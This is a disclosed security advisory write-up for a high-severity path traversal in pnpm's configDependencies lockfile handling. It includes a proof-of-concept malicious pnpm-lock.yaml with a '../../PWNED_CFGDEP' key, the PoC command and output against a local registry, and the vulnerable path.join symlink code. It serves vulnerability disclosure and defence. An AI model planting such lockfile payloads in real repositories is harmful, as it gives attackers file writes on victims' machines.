# pnpm: Path traversal in configDependencies env lockfile allows symlink creation outside node_modules/.pnpm-config

Crafted pnpm-lock.yaml configDependencies key with '..' traversal makes pnpm install create a symlink outside node_modules/.pnpm-config, even with --ignore-scripts.

- Payout: Research
- Severity: high
- Program: pnpm
- Found by: 5h1kh4r
- Disclosed: 2026-06-27
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-qrv3-253h-g69c
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-qrv3-253h-g69c
- Tags: area:oss domain:oss impact:integrity kind:research platform:ghsa sev:high tech:nodejs technique:recon technique:source-review vuln:path-traversal

**Target:** pnpm CLI config dependency installer (env lockfile configDependencies)
**Root cause:** configDependencies keys from the env lockfile are trusted as package names and passed to path.join(configModulesDir, pkgName) without rejecting '..' or path separators, so the resolved symlink destination escapes node_modules/.pnpm-config.
**Steps:**
1. Commit a pnpm-lock.yaml whose importers['.'].configDependencies contains a traversal-shaped key, e.g. `'../../PWNED_CFGDEP': {specifier: '1.0.0', version: '1.0.0'}`
2. Run `pnpm install --ignore-scripts` in the victim project
3. pnpm installs config dependencies and calls `symlinkDir(path.join(globalVirtualStoreDir, relPath, 'node_modules', pkgName), path.join(configModulesDir, pkgName))`
4. Observe symlink created at `<root>/PWNED_CFGDEP` instead of inside `node_modules/.pnpm-config`
**How found:** Reporter inspected the config dependency install path and noticed configDependencies keys from the env lockfile flow directly into path.join for the symlink destination, then built a local fake-registry PoC to confirm the escape.
**Exploitation:** Attacker publishes/commits a repo with the malicious lockfile; victim runs pnpm install. pnpm creates a symlink at an attacker-chosen path relative to the project root (deeper traversal reaches outside the project), yielding a filesystem write primitive without needing lifecycle scripts.
**Escalation:** Deeper traversal payloads can escape the project directory entirely, subject to path permissions and platform behavior.
**Insight:** Lockfile-derived package names are a trust boundary: any key used as a path component (config deps, subdeps, optional deps) needs both npm-name validation and a resolved-path containment check, since path.join silently normalizes '..'.

## Proof of concept (copied exactly from the original report)

**Malicious lockfile with traversal configDependencies key**

```
importers:
  .:
    configDependencies:
      legit-config-dep:
        specifier: '1.0.0'
        version: '1.0.0'
      '../../PWNED_CFGDEP':
        specifier: '1.0.0'
        version: '1.0.0'
```

**PoC command running pnpm install against fake registry**

```
python3 ../pnpm_configdeps_path_traversal_poc.py \
  --pnpm-cmd "node /home/ethical/pnpm-main/pnpm/bin/pnpm.cjs" \
  --keep 2>&1 | tee /tmp/pnpm-configdeps-poc.log

Observed output:

[+] Test project:       /tmp/pnpm-cfgdep-poc-sznwgunx/victim
[+] Local registry:     http://127.0.0.1:36545/
[+] Store dir:          /tmp/pnpm-cfgdep-poc-sznwgunx/store
[+] Malicious name:     '../../PWNED_CFGDEP'
[+] Intended cfg root:  /tmp/pnpm-cfgdep-poc-sznwgunx/victim/node_modules/.pnpm-config
[+] Traversal sink:     /tmp/pnpm-cfgdep-poc-sznwgunx/victim/PWNED_CFGDEP
[+] Lockfile written:   /tmp/pnpm-cfgdep-poc-sznwgunx/victim/pnpm-lock.yaml
[+] Running: node /home/ethical/pnpm-main/pnpm/bin/pnpm.cjs install --ignore-scripts --config.confirmModulesPurge=false --reporter=append-only --store-dir /tmp/pnpm-cfgdep-poc-sznwgunx/store --registry http://127.0.0.1:36545/
```

**Vulnerable path.join symlink code**

```
const configModulesDir = path.join(opts.rootDir, 'node_modules/.pnpm-config')

for (const [pkgName, pkg] of Object.entries(normalizedDeps)) {
  const configDepPath = path.join(configModulesDir, pkgName)

  const pkgDirInGlobalVirtualStore = path.join(
    globalVirtualStoreDir,
    relPath,
    'node_modules',
    pkgName
  )

  await symlinkDir(pkgDirInGlobalVirtualStore, configDepPath)
}
```

